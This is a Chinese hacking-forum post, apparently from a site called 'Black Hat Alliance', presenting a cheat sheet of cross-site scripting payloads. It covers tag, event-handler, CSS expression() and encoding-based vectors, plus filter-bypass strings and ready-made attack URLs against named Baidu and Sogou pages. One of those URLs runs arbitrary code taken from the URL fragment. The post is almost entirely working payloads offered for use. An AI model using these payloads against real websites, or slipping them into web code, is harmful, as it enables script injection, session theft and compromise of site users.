黑帽联盟

 找回密码
 会员注册
查看: 1730|回复: 0
打印 上一主题 下一主题

[系统安全] XSS跨站脚本大全

[复制链接]

895

主题

38

听众

3329

积分

管理员

Rank: 9Rank: 9Rank: 9

  • TA的每日心情
    难过
    昨天 22:31
  • 签到天数: 1652 天

    [LV.Master]伴坛终老

    <script>alert("跨站")</script>      (最常见的跨站代码)
    <img scr=javascript:alert("跨站")></img>
    <img scr="javascript: alert(/跨站/)></img>
    <img scr="javas????cript:alert(/跨站/)" width=150></img> (?是用tab键弄出来的空格)
    <img scr="#" onerror=alert(/跨站/)></img>
    <img scr="#" style="xss:e-xpression(alert(/xss/));"></img>
    <img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)
    <img src=vbscript:msgbox ("xss")></img>
    <style> input {left:e-xpression (alert('xss'))}</style>
    <div style={left:e-xpression (alert('xss'))}></div>
    <div style={left:exp/* */ression (alert('xss'))}></div>
    <div style={left:\0065\0078ression (alert('xss'))}></div>

    html实体: <div style={left:&#x0065;xpression (alert('xss'))}></div>
    unicode:<div style="{left:expRessioN (alert('xss'))}">  


    上面是普通的

    163的filter过滤语句跨站代码
    <style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));">

    filter己将上述label理解为三个label,语法分析与其后语句关联分析时己失效.

    exploit:<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));"> background:expression((window.rrr==1)?'':eval('rrr=1; eval(unescape(alert(/t00ls低调发展/.source)));'));}'{}</style><div id="m">hhhhh</div> (己和谐)
    不懂CSS的 百度下 "Css中的filter常用滤镜属性及语句大全"
    上面中window.rrr==1等语句是给window对象的方法定义一个值,判断这个值运行一次.


    来看看HTML5跨站代码  
    引入媒体类测试代码Example:


    <video onerror=javascript:alert(1)><source>

    <audio onerror=javascript:alert(1)><source>

    表单点击测试代码Example:

    <form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)

    >X

    鼠标事件测试代码Example:

    Before HTML5:

    <input type=text value=‐‐>Injecting here onmouseover=alert(Injected value)>

    With HTML5:

    <input type=text value=‐‐>Injecting here onfocus=alert(Injected value) autofocus>

    DIV 测试代码Example:

    <div draggable=true ondragstart=event.dataTransfer.setData(text/plain, Evil data)>

    <h3>DRAG ME!!</h3>

    </div>

    引入框架测试代码Example:

    <iframe src=http://www.sitedirsec.com sandbox></iframe>  


    再看看 百度想跨站代码 分两个0.0

    这些是曾经的..


    http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));
    http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));

    tn和bar两个参数对应在页面的输出是两个input表单值,可以使用”(双引号)闭合表单值,加入CSS属性跨站,页面具体输出如下:


    <input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));">

    这个漏洞只能在IE下使用,FIREFOX会把URL链接参数中的”(双引号)转成编码%22,页面参数的输出也会变成%22,就不能闭合”(双引号)跨站。expression()是个不听话的角色,这里可以用一个小技巧来去掉expression烦人的死循环。运行当前URL的#注释符后的代码:


    eval(unescape(location.hash.substr(1)))

    给window对象的方法定义一个值,判断这个值运行一次代码:


    (window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1

    最后得到完美的攻击链接:


    http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29


         恩 很好的思路 用给window对象的方法定义一个值,判断这个值运行一次代码 以及 # 搞定火狐.

    还有 80vul的 搜狗跨站 (已经修补)
    http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" onmouseover=window["al"+"ert"](1)
          搜狗过滤的关键字alert 这样分开写 一样能跨
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    勿忘初心,方得始终!
    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部